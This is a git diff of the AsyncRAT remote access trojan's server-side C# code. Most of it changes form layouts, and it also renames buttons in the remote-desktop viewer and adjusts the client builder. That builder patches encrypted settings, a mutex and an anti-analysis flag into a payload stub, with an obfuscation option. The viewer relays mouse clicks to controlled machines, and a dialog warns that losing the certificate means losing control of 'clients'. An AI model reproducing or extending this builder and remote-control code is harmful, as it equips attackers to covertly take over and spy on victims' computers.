this.tabPage5.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage5.Location = new System.Drawing.Point(4, 22);
|
||||
this.tabPage5.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage5.Name = "tabPage5";
|
||||
this.tabPage5.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage5.Size = new System.Drawing.Size(599, 464);
|
||||
this.tabPage5.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage5.Size = new System.Drawing.Size(397, 297);
|
||||
this.tabPage5.TabIndex = 4;
|
||||
this.tabPage5.Text = "Icon";
|
||||
this.tabPage5.UseVisualStyleBackColor = true;
|
||||
@ -719,9 +777,11 @@ namespace Server.Forms
|
||||
this.groupBox5.Controls.Add(this.txtIcon);
|
||||
this.groupBox5.Controls.Add(this.btnIcon);
|
||||
this.groupBox5.Controls.Add(this.picIcon);
|
||||
this.groupBox5.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox5.Location = new System.Drawing.Point(4, 11);
|
||||
this.groupBox5.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox5.Name = "groupBox5";
|
||||
this.groupBox5.Size = new System.Drawing.Size(585, 439);
|
||||
this.groupBox5.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox5.Size = new System.Drawing.Size(390, 285);
|
||||
this.groupBox5.TabIndex = 0;
|
||||
this.groupBox5.TabStop = false;
|
||||
this.groupBox5.Text = "Add Icon";
|
||||
@ -729,9 +789,10 @@ namespace Server.Forms
|
||||
// chkIcon
|
||||
//
|
||||
this.chkIcon.AutoSize = true;
|
||||
this.chkIcon.Location = new System.Drawing.Point(15, 29);
|
||||
this.chkIcon.Location = new System.Drawing.Point(10, 19);
|
||||
this.chkIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.chkIcon.Name = "chkIcon";
|
||||
this.chkIcon.Size = new System.Drawing.Size(85, 24);
|
||||
this.chkIcon.Size = new System.Drawing.Size(59, 17);
|
||||
this.chkIcon.TabIndex = 8;
|
||||
this.chkIcon.Text = "Enable";
|
||||
this.chkIcon.UseVisualStyleBackColor = true;
|
||||
@ -740,26 +801,29 @@ namespace Server.Forms
|
||||
// label15
|
||||
//
|
||||
this.label15.AutoSize = true;
|
||||
this.label15.Location = new System.Drawing.Point(11, 89);
|
||||
this.label15.Location = new System.Drawing.Point(7, 58);
|
||||
this.label15.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label15.Name = "label15";
|
||||
this.label15.Size = new System.Drawing.Size(42, 20);
|
||||
this.label15.Size = new System.Drawing.Size(29, 13);
|
||||
this.label15.TabIndex = 7;
|
||||
this.label15.Text = "Path";
|
||||
//
|
||||
// txtIcon
|
||||
//
|
||||
this.txtIcon.Enabled = false;
|
||||
this.txtIcon.Location = new System.Drawing.Point(15, 122);
|
||||
this.txtIcon.Location = new System.Drawing.Point(10, 79);
|
||||
this.txtIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtIcon.Name = "txtIcon";
|
||||
this.txtIcon.Size = new System.Drawing.Size(447, 26);
|
||||
this.txtIcon.Size = new System.Drawing.Size(299, 20);
|
||||
this.txtIcon.TabIndex = 6;
|
||||
//
|
||||
// btnIcon
|
||||
//
|
||||
this.btnIcon.Enabled = false;
|
||||
this.btnIcon.Location = new System.Drawing.Point(485, 122);
|
||||
this.btnIcon.Location = new System.Drawing.Point(323, 79);
|
||||
this.btnIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnIcon.Name = "btnIcon";
|
||||
this.btnIcon.Size = new System.Drawing.Size(60, 26);
|
||||
this.btnIcon.Size = new System.Drawing.Size(40, 17);
|
||||
this.btnIcon.TabIndex = 5;
|
||||
this.btnIcon.Text = " ";
|
||||
this.btnIcon.UseVisualStyleBackColor = true;
|
||||
@ -770,9 +834,10 @@ namespace Server.Forms
|
||||
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||
this.picIcon.ErrorImage = null;
|
||||
this.picIcon.InitialImage = null;
|
||||
this.picIcon.Location = new System.Drawing.Point(15, 171);
|
||||
this.picIcon.Location = new System.Drawing.Point(10, 111);
|
||||
this.picIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.picIcon.Name = "picIcon";
|
||||
this.picIcon.Size = new System.Drawing.Size(128, 128);
|
||||
this.picIcon.Size = new System.Drawing.Size(86, 84);
|
||||
this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||
this.picIcon.TabIndex = 4;
|
||||
this.picIcon.TabStop = false;
|
||||
@ -781,10 +846,11 @@ namespace Server.Forms
|
||||
//
|
||||
this.tabPage6.Controls.Add(this.chkObfu);
|
||||
this.tabPage6.Controls.Add(this.btnBuild);
|
||||
this.tabPage6.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage6.Location = new System.Drawing.Point(4, 22);
|
||||
this.tabPage6.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage6.Name = "tabPage6";
|
||||
this.tabPage6.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage6.Size = new System.Drawing.Size(599, 464);
|
||||
this.tabPage6.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage6.Size = new System.Drawing.Size(397, 297);
|
||||
this.tabPage6.TabIndex = 5;
|
||||
this.tabPage6.Text = "Build";
|
||||
this.tabPage6.UseVisualStyleBackColor = true;
|
||||
@ -792,18 +858,20 @@ namespace Server.Forms
|
||||
// chkObfu
|
||||
//
|
||||
this.chkObfu.AutoSize = true;
|
||||
this.chkObfu.Location = new System.Drawing.Point(18, 148);
|
||||
this.chkObfu.Location = new System.Drawing.Point(12, 96);
|
||||
this.chkObfu.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.chkObfu.Name = "chkObfu";
|
||||
this.chkObfu.Size = new System.Drawing.Size(166, 24);
|
||||
this.chkObfu.Size = new System.Drawing.Size(112, 17);
|
||||
this.chkObfu.TabIndex = 2;
|
||||
this.chkObfu.Text = "Simple Obfuscator";
|
||||
this.chkObfu.UseVisualStyleBackColor = true;
|
||||
//
|
||||
// btnBuild
|
||||
//
|
||||
this.btnBuild.Location = new System.Drawing.Point(18, 196);
|
||||
this.btnBuild.Location = new System.Drawing.Point(12, 127);
|
||||
this.btnBuild.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnBuild.Name = "btnBuild";
|
||||
this.btnBuild.Size = new System.Drawing.Size(539, 49);
|
||||
this.btnBuild.Size = new System.Drawing.Size(359, 32);
|
||||
this.btnBuild.TabIndex = 1;
|
||||
this.btnBuild.Text = "Build";
|
||||
this.btnBuild.UseVisualStyleBackColor = true;
|
||||
@ -811,11 +879,12 @@ namespace Server.Forms
|
||||
//
|
||||
// FormBuilder
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(607, 497);
|
||||
this.ClientSize = new System.Drawing.Size(405, 323);
|
||||
this.Controls.Add(this.tabControl1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.Name = "FormBuilder";
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
|
||||
this.Text = "Builder";
|
||||
|
@ -183,10 +183,12 @@ namespace Server.Forms
|
||||
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();
|
||||
if (string.IsNullOrWhiteSpace(txtGroup.Text)) txtGroup.Text = "Default";
|
||||
|
||||
if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
|
||||
|
||||
if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Helper.Methods.GetRandomString(12);
|
||||
|
||||
ModuleDefMD asmDef = null;
|
||||
try
|
||||
{
|
||||
@ -367,7 +369,7 @@ namespace Server.Forms
|
||||
{
|
||||
asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
|
||||
asmDef.Name = Path.GetFileName(AsmName);
|
||||
if (type.Name == "Settings")
|
||||
if (type.Name == "Settings")
|
||||
foreach (MethodDef method in type.Methods)
|
||||
{
|
||||
if (method.Body == null) continue;
|
||||
@ -426,7 +428,10 @@ namespace Server.Forms
|
||||
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
|
||||
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
|
||||
if (string.IsNullOrWhiteSpace(txtMutex.Text))
|
||||
method.Body.Instructions[i].Operand = Helper.Methods.GetRandomString(12);
|
||||
else
|
||||
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
|
||||
|
||||
if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
|
||||
method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
|
||||
@ -462,21 +467,6 @@ namespace Server.Forms
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private readonly Random random = new Random();
|
||||
const string alphabet = "asdfghjklqwertyuiopmnbvcxz";
|
||||
|
||||
public string getRandomCharacters()
|
||||
{
|
||||
var sb = new StringBuilder();
|
||||
for (int i = 1; i <= new Random().Next(10, 20); i++)
|
||||
{
|
||||
var randomCharacterPosition = random.Next(0, alphabet.Length);
|
||||
sb.Append(alphabet[randomCharacterPosition]);
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
private void BtnClone_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (var openFileDialog = new OpenFileDialog())
|
||||
@ -499,5 +489,10 @@ namespace Server.Forms
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void txtMutex_MouseEnter(object sender, EventArgs e)
|
||||
{
|
||||
txtMutex.Text = Helper.Methods.GetRandomString(12);
|
||||
}
|
||||
}
|
||||
}
|
@ -56,9 +56,10 @@ namespace Server.Forms
|
||||
}
|
||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
MessageBox.Show(this, @"[!]If you wish to upgrade to new version of AsyncRAT, You will need to copy 'ServerCertificate.p12'.
|
||||
MessageBox.Show(this, @"
|
||||
[!] If you wish to upgrade to new version of AsyncRAT, You will need to copy 'ServerCertificate.p12'.
|
||||
|
||||
[!]If you lose\delete 'ServerCertificate.p12' certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
[!] If you lose\delete 'ServerCertificate.p12' certificate you will NOT be able to control your clients, You will lose them all.", "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||||
this.Close();
|
||||
}));
|
||||
}
|
||||
|
108
AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
generated
108
AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
generated
@ -40,8 +40,8 @@
|
||||
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
|
||||
this.label1 = new System.Windows.Forms.Label();
|
||||
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
|
||||
this.button1 = new System.Windows.Forms.Button();
|
||||
this.button2 = new System.Windows.Forms.Button();
|
||||
this.btnStart = new System.Windows.Forms.Button();
|
||||
this.btnSlide = new System.Windows.Forms.Button();
|
||||
this.timerSave = new System.Windows.Forms.Timer(this.components);
|
||||
this.labelWait = new System.Windows.Forms.Label();
|
||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||
@ -54,12 +54,14 @@
|
||||
//
|
||||
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
|
||||
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
|
||||
this.pictureBox1.Size = new System.Drawing.Size(625, 315);
|
||||
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||
this.pictureBox1.TabIndex = 0;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
|
||||
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
|
||||
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
|
||||
//
|
||||
// timer1
|
||||
@ -77,20 +79,22 @@
|
||||
this.panel1.Controls.Add(this.numericUpDown2);
|
||||
this.panel1.Controls.Add(this.label1);
|
||||
this.panel1.Controls.Add(this.numericUpDown1);
|
||||
this.panel1.Controls.Add(this.button1);
|
||||
this.panel1.Controls.Add(this.btnStart);
|
||||
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
|
||||
this.panel1.Location = new System.Drawing.Point(0, 0);
|
||||
this.panel1.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.panel1.Name = "panel1";
|
||||
this.panel1.Size = new System.Drawing.Size(938, 38);
|
||||
this.panel1.Size = new System.Drawing.Size(625, 25);
|
||||
this.panel1.TabIndex = 1;
|
||||
//
|
||||
// btnKeyboard
|
||||
//
|
||||
this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard;
|
||||
this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnKeyboard.Location = new System.Drawing.Point(622, 3);
|
||||
this.btnKeyboard.Location = new System.Drawing.Point(415, 2);
|
||||
this.btnKeyboard.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.btnKeyboard.Name = "btnKeyboard";
|
||||
this.btnKeyboard.Size = new System.Drawing.Size(32, 32);
|
||||
this.btnKeyboard.Size = new System.Drawing.Size(21, 21);
|
||||
this.btnKeyboard.TabIndex = 6;
|
||||
this.btnKeyboard.UseVisualStyleBackColor = true;
|
||||
this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
|
||||
@ -99,9 +103,10 @@
|
||||
//
|
||||
this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
|
||||
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnMouse.Location = new System.Drawing.Point(550, 3);
|
||||
this.btnMouse.Location = new System.Drawing.Point(367, 2);
|
||||
this.btnMouse.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.btnMouse.Name = "btnMouse";
|
||||
this.btnMouse.Size = new System.Drawing.Size(32, 32);
|
||||
this.btnMouse.Size = new System.Drawing.Size(21, 21);
|
||||
this.btnMouse.TabIndex = 3;
|
||||
this.btnMouse.UseVisualStyleBackColor = true;
|
||||
this.btnMouse.Click += new System.EventHandler(this.Button3_Click);
|
||||
@ -110,9 +115,10 @@
|
||||
//
|
||||
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
|
||||
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnSave.Location = new System.Drawing.Point(455, 3);
|
||||
this.btnSave.Location = new System.Drawing.Point(303, 2);
|
||||
this.btnSave.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.btnSave.Name = "btnSave";
|
||||
this.btnSave.Size = new System.Drawing.Size(32, 32);
|
||||
this.btnSave.Size = new System.Drawing.Size(21, 21);
|
||||
this.btnSave.TabIndex = 5;
|
||||
this.btnSave.UseVisualStyleBackColor = true;
|
||||
this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
|
||||
@ -120,9 +126,10 @@
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(268, 9);
|
||||
this.label2.Location = new System.Drawing.Point(179, 6);
|
||||
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(76, 20);
|
||||
this.label2.Size = new System.Drawing.Size(51, 13);
|
||||
this.label2.TabIndex = 4;
|
||||
this.label2.Text = "SCREEN";
|
||||
//
|
||||
@ -135,14 +142,15 @@
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDown2.Location = new System.Drawing.Point(352, 5);
|
||||
this.numericUpDown2.Location = new System.Drawing.Point(235, 3);
|
||||
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.numericUpDown2.Maximum = new decimal(new int[] {
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDown2.Name = "numericUpDown2";
|
||||
this.numericUpDown2.Size = new System.Drawing.Size(63, 26);
|
||||
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
|
||||
this.numericUpDown2.TabIndex = 3;
|
||||
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
|
||||
@ -150,9 +158,10 @@
|
||||
// label1
|
||||
//
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new System.Drawing.Point(82, 9);
|
||||
this.label1.Location = new System.Drawing.Point(55, 6);
|
||||
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new System.Drawing.Size(78, 20);
|
||||
this.label1.Size = new System.Drawing.Size(53, 13);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "QUALITY";
|
||||
//
|
||||
@ -165,14 +174,15 @@
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDown1.Location = new System.Drawing.Point(166, 5);
|
||||
this.numericUpDown1.Location = new System.Drawing.Point(111, 3);
|
||||
this.numericUpDown1.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.numericUpDown1.Minimum = new decimal(new int[] {
|
||||
20,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numericUpDown1.Name = "numericUpDown1";
|
||||
this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
|
||||
this.numericUpDown1.Size = new System.Drawing.Size(55, 20);
|
||||
this.numericUpDown1.TabIndex = 1;
|
||||
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
|
||||
@ -182,29 +192,31 @@
|
||||
0,
|
||||
0});
|
||||
//
|
||||
// button1
|
||||
// btnStart
|
||||
//
|
||||
this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_;
|
||||
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.button1.Location = new System.Drawing.Point(12, 3);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new System.Drawing.Size(32, 32);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
||||
this.btnStart.BackgroundImage = global::Server.Properties.Resources.stop__1_;
|
||||
this.btnStart.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnStart.Location = new System.Drawing.Point(8, 2);
|
||||
this.btnStart.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.btnStart.Name = "btnStart";
|
||||
this.btnStart.Size = new System.Drawing.Size(21, 21);
|
||||
this.btnStart.TabIndex = 0;
|
||||
this.btnStart.UseVisualStyleBackColor = true;
|
||||
this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
|
||||
//
|
||||
// button2
|
||||
// btnSlide
|
||||
//
|
||||
this.button2.BackgroundImage = global::Server.Properties.Resources.arrow_up;
|
||||
this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
|
||||
this.button2.Location = new System.Drawing.Point(428, 44);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new System.Drawing.Size(18, 18);
|
||||
this.button2.TabIndex = 2;
|
||||
this.button2.Text = " ";
|
||||
this.button2.UseVisualStyleBackColor = true;
|
||||
this.button2.Click += new System.EventHandler(this.Button2_Click);
|
||||
this.btnSlide.BackgroundImage = global::Server.Properties.Resources.arrow_up;
|
||||
this.btnSlide.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnSlide.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
|
||||
this.btnSlide.Location = new System.Drawing.Point(285, 29);
|
||||
this.btnSlide.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.btnSlide.Name = "btnSlide";
|
||||
this.btnSlide.Size = new System.Drawing.Size(12, 12);
|
||||
this.btnSlide.TabIndex = 2;
|
||||
this.btnSlide.Text = " ";
|
||||
this.btnSlide.UseVisualStyleBackColor = true;
|
||||
this.btnSlide.Click += new System.EventHandler(this.btnSlide_Click);
|
||||
//
|
||||
// timerSave
|
||||
//
|
||||
@ -215,24 +227,26 @@
|
||||
//
|
||||
this.labelWait.AutoSize = true;
|
||||
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F);
|
||||
this.labelWait.Location = new System.Drawing.Point(376, 222);
|
||||
this.labelWait.Location = new System.Drawing.Point(251, 144);
|
||||
this.labelWait.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.labelWait.Name = "labelWait";
|
||||
this.labelWait.Size = new System.Drawing.Size(78, 29);
|
||||
this.labelWait.Size = new System.Drawing.Size(53, 20);
|
||||
this.labelWait.TabIndex = 3;
|
||||
this.labelWait.Text = "Wait...";
|
||||
//
|
||||
// FormRemoteDesktop
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(938, 485);
|
||||
this.ClientSize = new System.Drawing.Size(625, 315);
|
||||
this.Controls.Add(this.labelWait);
|
||||
this.Controls.Add(this.button2);
|
||||
this.Controls.Add(this.btnSlide);
|
||||
this.Controls.Add(this.panel1);
|
||||
this.Controls.Add(this.pictureBox1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.KeyPreview = true;
|
||||
this.MinimumSize = new System.Drawing.Size(655, 440);
|
||||
this.Margin = new System.Windows.Forms.Padding(2);
|
||||
this.MinimumSize = new System.Drawing.Size(442, 300);
|
||||
this.Name = "FormRemoteDesktop";
|
||||
this.Text = "RemoteDesktop";
|
||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
|
||||
@ -256,8 +270,8 @@
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
private System.Windows.Forms.Panel panel1;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.Button button1;
|
||||
private System.Windows.Forms.Button button2;
|
||||
private System.Windows.Forms.Button btnStart;
|
||||
private System.Windows.Forms.Button btnSlide;
|
||||
public System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||
private System.Windows.Forms.Label label2;
|
||||
public System.Windows.Forms.NumericUpDown numericUpDown2;
|
||||
|
@ -1,6 +1,4 @@
|
||||
using StreamLibrary;
|
||||
using StreamLibrary.UnsafeCodecs;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
@ -16,6 +14,7 @@ using System.Threading;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using Encoder = System.Drawing.Imaging.Encoder;
|
||||
using Server.StreamLibrary;
|
||||
|
||||
namespace Server.Forms
|
||||
{
|
||||
@ -28,8 +27,7 @@ namespace Server.Forms
|
||||
|
||||
public int FPS = 0;
|
||||
public Stopwatch sw = Stopwatch.StartNew();
|
||||
public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
|
||||
public Size rdSize;
|
||||
public UnsafeStreamCodec decoder = new UnsafeStreamCodec(60);
|
||||
private bool isMouse = false;
|
||||
private bool isKeyboard = false;
|
||||
public object syncPicbox = new object();
|
||||
@ -51,19 +49,19 @@ namespace Server.Forms
|
||||
catch { this.Close(); }
|
||||
}
|
||||
|
||||
private void Button2_Click(object sender, EventArgs e)
|
||||
private void btnSlide_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (panel1.Visible == false)
|
||||
{
|
||||
panel1.Visible = true;
|
||||
button2.Top = panel1.Bottom + 5;
|
||||
button2.BackgroundImage = Properties.Resources.arrow_up;
|
||||
btnSlide.Top = panel1.Bottom + 5;
|
||||
btnSlide.BackgroundImage = Properties.Resources.arrow_up;
|
||||
}
|
||||
else
|
||||
{
|
||||
panel1.Visible = false;
|
||||
button2.Top = pictureBox1.Top + 5;
|
||||
button2.BackgroundImage = Properties.Resources.arrow_down;
|
||||
btnSlide.Top = pictureBox1.Top + 5;
|
||||
btnSlide.BackgroundImage = Properties.Resources.arrow_down;
|
||||
}
|
||||
}
|
||||
|
||||
@ -71,17 +69,17 @@ namespace Server.Forms
|
||||
{
|
||||
try
|
||||
{
|
||||
button2.Top = panel1.Bottom + 5;
|
||||
button2.Left = pictureBox1.Width / 2;
|
||||
button1.Tag = (object)"stop";
|
||||
button2.PerformClick();
|
||||
btnSlide.Top = panel1.Bottom + 5;
|
||||
btnSlide.Left = pictureBox1.Width / 2;
|
||||
btnStart.Tag = (object)"stop";
|
||||
btnSlide.PerformClick();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
private void btnStart_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (button1.Tag == (object)"play")
|
||||
if (btnStart.Tag == (object)"play")
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
@ -94,12 +92,12 @@ namespace Server.Forms
|
||||
numericUpDown2.Enabled = false;
|
||||
btnSave.Enabled = true;
|
||||
btnMouse.Enabled = true;
|
||||
button1.Tag = (object)"stop";
|
||||
button1.BackgroundImage = Properties.Resources.stop__1_;
|
||||
btnStart.Tag = (object)"stop";
|
||||
btnStart.BackgroundImage = Properties.Resources.stop__1_;
|
||||
}
|
||||
else
|
||||
{
|
||||
button1.Tag = (object)"play";
|
||||
btnStart.Tag = (object)"play";
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
@ -112,18 +110,18 @@ namespace Server.Forms
|
||||
numericUpDown2.Enabled = true;
|
||||
btnSave.Enabled = false;
|
||||
btnMouse.Enabled = false;
|
||||
button1.BackgroundImage = Properties.Resources.play_button;
|
||||
btnStart.BackgroundImage = Properties.Resources.play_button;
|
||||
}
|
||||
}
|
||||
|
||||
private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
|
||||
{
|
||||
button2.Left = pictureBox1.Width / 2;
|
||||
btnSlide.Left = pictureBox1.Width / 2;
|
||||
}
|
||||
|
||||
private void BtnSave_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (button1.Tag == (object)"stop")
|
||||
if (btnStart.Tag == (object)"stop")
|
||||
{
|
||||
if (timerSave.Enabled)
|
||||
{
|
||||
@ -180,9 +178,8 @@ namespace Server.Forms
|
||||
{
|
||||
try
|
||||
{
|
||||
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
||||
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
||||
{
|
||||
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
|
||||
int button = 0;
|
||||
if (e.Button == MouseButtons.Left)
|
||||
button = 2;
|
||||
@ -192,8 +189,8 @@ namespace Server.Forms
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "mouseClick";
|
||||
msgpack.ForcePathObject("X").AsInteger = p.X;
|
||||
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
||||
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
|
||||
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
|
||||
msgpack.ForcePathObject("Button").AsInteger = button;
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
@ -205,9 +202,8 @@ namespace Server.Forms
|
||||
{
|
||||
try
|
||||
{
|
||||
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
||||
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
|
||||
{
|
||||
Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
|
||||
